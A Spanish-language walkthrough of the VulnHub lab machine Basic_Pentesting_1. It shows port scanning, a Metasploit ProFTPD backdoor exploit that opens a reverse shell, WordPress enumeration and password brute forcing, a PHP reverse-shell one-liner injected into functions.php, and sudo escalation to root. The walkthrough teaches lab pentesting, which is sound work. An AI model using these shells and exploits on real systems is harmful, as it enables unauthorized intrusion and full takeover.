Write Up Basic_Pentesting_1 VulnHub

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 09:57 EDT
Nmap scan report for 192.168.5.173
Host is up (0.00068s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
|   256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
|_  256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:A7:30:B0 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds

Metasploit

Si vamos a metasploit y vemos si tiene alguna vulnerabilidad el ftp veremos que si la tiene, por lo que haremos lo siguiente...

msfconsole -q

Dentro del entorno de metasploit haremos lo siguiente...

use exploit/unix/ftp/proftpd_133c_backdoor
set RHOSTS <VICTIM_IP>
set payload payload/cmd/unix/reverse
set LHOST <YOUR_IP>
run

Info:

[*] Started reverse TCP double handler on 192.168.5.162:4444 
[*] 192.168.5.173:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 0PGACgf43119N3Fp;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "0PGACgf43119N3Fp\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.5.162:4444 -> 192.168.5.173:47528) at 2024-06-07 10:02:25 -0400

whoami
root

Con esto abremos conseguido acceso a la maquina y ya no solo eso, si no que seriamos root automaticamente...

Segunda forma de resolucion

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.173/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 302]
/.htpasswd.html       (Status: 403) [Size: 302]
/.htaccess.php        (Status: 403) [Size: 301]
/.htpasswd            (Status: 403) [Size: 297]
/.htaccess.txt        (Status: 403) [Size: 301]
/.htpasswd.txt        (Status: 403) [Size: 301]
/.htpasswd.php        (Status: 403) [Size: 301]
/.htaccess            (Status: 403) [Size: 297]
/index.html           (Status: 200) [Size: 177]
/server-status        (Status: 403) [Size: 301]
/secret               (Status: 200) [Size: 53390]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Si nos vamos a /secret vemos que hay un Wordpress por lo que haremos lo siguiente...

wpscan --url http://<IP>/secret/ --enumerate u

Info:

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.5.173/secret/ [192.168.5.173]
[+] Started: Fri Jun  7 10:10:50 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.5.173/secret/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.5.173/secret/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.5.173/secret/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.5.173/secret/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.25 identified (Outdated, released on 2024-01-30).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.5.173/secret/, Match: '-release.min.js?ver=4.9.25'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.5.173/secret/, Match: 'WordPress 4.9.25'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===============================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Jun  7 10:10:52 2024
[+] Requests Done: 48
[+] Cached Requests: 5
[+] Data Sent: 12.219 KB
[+] Data Received: 294.714 KB
[+] Memory used: 148.348 MB
[+] Elapsed time: 00:00:02

Por lo que vemos nos saco el usuario admin, por lo que haremos lo siguiente...

Antes de nada si probamos las credenciales por defecto que vienen en Wordpress que son User = admin y Password = admin entrariamos, pero si queremos tirar de herramientas, seria con el siguiente comando...

wpscan --url http://<IP>/secret/ --usernames admin --passwords <WORDLIST>

Info:

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.25
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.5.173/secret/ [192.168.5.173]
[+] Started: Fri Jun  7 10:12:00 2024

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.5.173/secret/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.5.173/secret/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.5.173/secret/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.5.173/secret/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.9.25 identified (Outdated, released on 2024-01-30).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.5.173/secret/, Match: '-release.min.js?ver=4.9.25'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.5.173/secret/, Match: 'WordPress 4.9.25'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <==============================================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - admin / admin                                                                                                                                    
Trying admin / akusayangkamu Time: 00:02:39 <                                                                      > (19820 / 14364212)  0.13%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: admin, Password: admin

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Jun  7 10:14:44 2024
[+] Requests Done: 19961
[+] Cached Requests: 29
[+] Data Sent: 6.768 MB
[+] Data Received: 70.162 MB
[+] Memory used: 226.145 MB
[+] Elapsed time: 00:02:44

Por lo que vemos las credenciales como bien dije antes son las de por defecto...

User = admin
Password = admin

Una vez dentro del Wordpress nos vamos a la pestaña Themes y en la casilla Editor dentro de este entorno veremos un archivo para editar llamado Functions.php el cual inyectaremos una Reverse Shell de la siguiente manera...

$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);

Una vez inyectado esto, le damos a guardar los cambios al boton Update File y estando a la escucha anteriormente...

nc -lvnp <PORT>

Cuando le demos a guardar automaticamente se nos creara una Shell con el usuario www-data, por lo que la sanitizaremos...

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Descubrimos un usuario llamado marlinspike si probamos a cambiarnos a ese usuario utilizando como contraseña el mismo nombre de usuario seremos ese usuario...

User = marlinspike
Password = marlinspike

Una vez siendo este usuario, si hacemos sudo -l veremos lo siguiente...

Matching Defaults entries for marlinspike on vtcsec:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marlinspike may run the following commands on vtcsec:
    (ALL : ALL) ALL

Vemos que tenemos todos los privilegios por lo que si hacemos...

sudo su

Seremos root y con esto ya habriamos terminado la maquina...

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